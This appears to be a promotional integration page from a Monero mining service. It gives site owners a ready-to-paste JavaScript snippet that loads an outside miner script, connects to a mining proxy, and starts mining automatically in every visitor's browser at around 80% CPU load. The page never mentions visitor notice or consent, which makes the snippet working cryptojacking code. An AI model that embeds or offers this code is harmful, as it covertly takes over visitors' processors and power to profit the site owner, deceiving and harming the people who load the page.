?>

Miner Website Integration

Monetize on your website visitors!

To add the miner to your website you can add the following code below.  Currently, the miner takes a 28% fee to cover server costs.  This number may go down in the near future after the Website Miner gets settled and dailed-in.

After a user lands on your website and the code is executed the miner will start automatically.  The miner will utilize the users CPU to solve jobs provided by the mining server.  Once a job is solved you will get rewarded with a share for the work.  

Once a block is solved the pool will credit you the share of the cryptocurrency based upon the effort that was put in by your miner and the valid shares you have.

Please let us know ahead of time if you plan on adding the miner to a website that has more then 250 users on at a time.  Once you have integrated the code on your website feel free to contact us to check the status of your earnings.

<script src="https://monerominer.rocks/mmr-miner.js"></script>
<script>
server = "wss://f.xmrminingproxy.com:8181";
let pool = "moneroocean.stream";
let wallet_address = "PUT YOUR WALLET ADDRESS HERE";
let password = ""
let threads = -1;
let user = "x";
startMining(pool, wallet_address, password, threads, user);
throttleMiner = 20;
</script>

The startMining Function

  • pool – has to be a pool registered with our server.  Click here to see a list available registered pools on our server.
  • address – a valid crypto address you want to mine too.
  • password – password for your pool. Often not needed.
  • threads – the number of threads the miner uses. Use “-1” for auto-config.
  • user – allows you to identify the number of hashes calculated by a user. Can be any string with a length < 200 characters.

The throttleMiner Variable

If you set this value to 20, the cpu workload will be approx. 80% (for 1 thread / CPU). Setting this value to 100 will not fully disable the miner but still calculate hashes with 10% CPU load.

Statistics and Earnings

It may take a few minuets to see the hashes coming into the pool depending on the pool.  To view your earnings and statistics you will need to visit the pool you are mining and input your wallet address.  If you have any questions feel free to contact us.